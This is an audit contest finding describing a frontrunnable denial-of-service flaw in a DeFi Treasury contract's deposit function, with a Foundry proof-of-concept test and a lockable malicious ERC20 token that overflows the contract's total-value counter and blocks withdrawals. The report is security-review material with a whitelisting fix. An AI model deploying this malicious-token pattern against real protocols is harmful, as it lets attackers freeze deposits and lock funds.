Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Treasury Contract Deposit Function Can Be Frontrun To Deny Protocol Operations

Summary

In the Treasury contract an attacker can frontrun legitimate deposits by artificially inflating the _totalValue state variable using a malicious token that can't be transfered out of the Treasury anymore. This will temporarily disrupt protocol operations and cause legitimate deposits to fail due to arithmetic overflow.

Vulnerability Details

The vulnerability exists in the unprotected deposit() function where anyone can deposit any token:

function deposit(address token, uint256 amount) external override nonReentrant {
if (token == address(0)) revert InvalidAddress();
if (amount == 0) revert InvalidAmount();
IERC20(token).transferFrom(msg.sender, address(this), amount);
_balances[token] += amount;
_totalValue += amount; // Vulnerable line - no token validation
emit Deposited(token, amount);
}

Attack Path:

  1. Attacker spots a legitimate pending transaction in the MemPool

  2. Attacker deploys a malicious token with no value

  3. Mints type(uint256).max tokens (or any other amount that would cause an overflow in the next deposit)

  4. Deposits these tokens into the treasury, inflating _totalValue

  5. Legitimate deposit will fail due to arithmetic overflow

  6. Protocol operations depending on deposits are disrupted (i.e.: the FeeCollector sends funds to the Treasury) [https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/collectors/FeeCollector.sol#L276]

  7. withdraw() function in the Treasury contract won't work because the token blocks all transfers

PoC

In order to run the test you need to:

  1. Run foundryup to get the latest version of Foundry

  2. Install hardhat-foundry: npm install --save-dev @nomicfoundation/hardhat-foundry

  3. Import it in your Hardhat config: require("@nomicfoundation/hardhat-foundry");

  4. Make sure you've set the BASE_RPC_URL in the .env file or comment out the forking option in the hardhat config.

  5. Run npx hardhat init-foundry

  6. There is one file in the test folder that will throw an error during compilation so rename the file in test/unit/libraries/ReserveLibraryMock.sol to => ReserveLibraryMock.sol_broken so it doesn't get compiled anymore (we don't need it anyways).

  7. Create a new folder test/foundry

  8. Paste the below code into a new test file i.e.: FoundryTest.t.sol

  9. Run the test: forge test --mc FoundryTest -vvvv

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import {Test} from "forge-std/Test.sol";
import {RAACToken} from "../../contracts/core/tokens/RAACToken.sol";
import {FeeCollector} from "../../contracts/core/collectors/FeeCollector.sol";
import {veRAACToken} from "../../contracts/core/tokens/veRAACToken.sol";
import {PercentageMath} from "../../contracts/libraries/math/PercentageMath.sol";
import {IFeeCollector} from "../../contracts/interfaces/core/collectors/IFeeCollector.sol";
import {Treasury} from "../../contracts/core/collectors/Treasury.sol";
import {ITreasury} from "../../contracts/interfaces/core/collectors/ITreasury.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "forge-std/console2.sol";
contract FoundryTest is Test {
using PercentageMath for uint256;
RAACToken public raacToken;
FeeCollector public feeCollector;
veRAACToken public VeRaacToken;
Treasury public treasury;
address public owner;
address public repairFund;
address public minter;
address public user1;
address public user2;
function setUp() public {
// Setup accounts
owner = address(this);
minter = makeAddr("minter");
user1 = makeAddr("user1");
user2 = makeAddr("user2");
repairFund = makeAddr("repairFund");
// Initial tax rates (1% swap tax, 0.5% burn tax)
uint256 initialSwapTaxRate = 100;
uint256 initialBurnTaxRate = 50;
// Deploy treasury
treasury = new Treasury(owner);
// Deploy token
raacToken = new RAACToken(owner, initialSwapTaxRate, initialBurnTaxRate);
// Deploy veRAACToken
VeRaacToken = new veRAACToken(address(raacToken));
// Deploy fee collector
feeCollector = new FeeCollector(
address(raacToken),
address(VeRaacToken),
address(treasury),
address(repairFund),
owner
);
// Setup minter
vm.prank(owner);
raacToken.setMinter(minter);
// Setup fee collector
vm.prank(owner);
raacToken.setFeeCollector(address(feeCollector));
}
function test_DoS_Treasury() public {
address attacker = makeAddr("attacker");
uint256 bigAmount = type(uint256).max;
uint256 smallAmount = 1;
vm.startPrank(attacker);
// Create malicious token
MaliciousToken maliciousToken = new MaliciousToken();
// Mint maximum tokens minus 1 to attacker
maliciousToken.mint(attacker, bigAmount);
assertEq(maliciousToken.totalSupply(), bigAmount);
assertEq(maliciousToken.balanceOf(attacker), bigAmount);
// Now deposit malicious token to treasury
maliciousToken.approve(address(treasury), bigAmount);
treasury.deposit(address(maliciousToken), bigAmount);
// Lock the token to prevent any further transfers
maliciousToken.lockToken();
vm.stopPrank();
// Treasury should have the same balance as the malicious token
assertEq(treasury.getBalance(address(maliciousToken)), bigAmount);
// Total value should be the same as the malicious token
assertEq(treasury.getTotalValue(), bigAmount);
// Mint some RAAC tokens to the owner of the treasury contract
vm.prank(minter);
raacToken.mint(address(owner), smallAmount);
assertEq(raacToken.balanceOf(address(owner)), smallAmount);
// The protocol admin or some other contract wants to deposit funds now to the treasury
vm.startPrank(owner);
raacToken.approve(address(treasury), smallAmount);
vm.expectRevert();
// This would overflow
treasury.deposit(address(raacToken), smallAmount);
vm.stopPrank();
// Owner can't transfer the malicious tokens out of the treasury anymore
vm.startPrank(owner);
vm.expectRevert(MaliciousToken.OperationNotSupported.selector);
treasury.withdraw(address(maliciousToken), bigAmount, address(attacker));
vm.stopPrank();
}
}
contract MaliciousToken is ERC20 {
address public owner;
bool public locked;
error OperationNotSupported();
constructor() ERC20("MaliciousToken", "MT") {
owner = msg.sender;
locked = false;
}
modifier onlyUnlocked() {
if (locked) revert OperationNotSupported();
_;
}
function lockToken() external {
if (msg.sender != owner) revert("Unauthorized");
locked = true;
}
function mint(address to, uint256 amount) public onlyUnlocked {
if (msg.sender != owner) revert("Unauthorized");
_mint(to, amount);
}
function burn(uint256 amount) public onlyUnlocked {
_burn(msg.sender, amount);
}
// These functions will always revert after locking
function transfer(address to, uint256 value) public virtual override onlyUnlocked returns (bool) {
super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public virtual override onlyUnlocked returns (bool) {
super.transferFrom(from, to, value);
}
}

Impact

  • Disrupt protocol operations (for example the FeeCollector depends on the Treasury and some functions wouldn't work anymore)

  • Blocks legitimate deposits

  • There is a withdraw functions that allows the owner of the Treasury to withdraw any deposited token but this will fail because the Malicious Token contract prevents all transfers and the Attacker can execute this Attack repeatedly. This is why I rate this high and not medium, because there is no fix for this without redeploying.

Tools Used

  • Foundry

  • Manual Review

Recommendations

  • Implement token whitelisting with admin control:

mapping(address => bool) public whitelistedTokens;
function setWhitelistedToken(address token, bool status) external onlyRole(DEFAULT_ADMIN_ROLE) {
whitelistedTokens[token] = status;
emit TokenWhitelistUpdated(token, status);
}
function deposit(address token, uint256 amount) external override nonReentrant {
if (!whitelistedTokens[token]) revert TokenNotWhitelisted();
// ... rest of the function
}
  • Restrict deposits to only come from trusted addresses (similar to whitelisting a token => whitelist the allowed addresses)

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Treasury::deposit increments _totalValue regardless of the token, be it malicious, different decimals, FoT etc.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!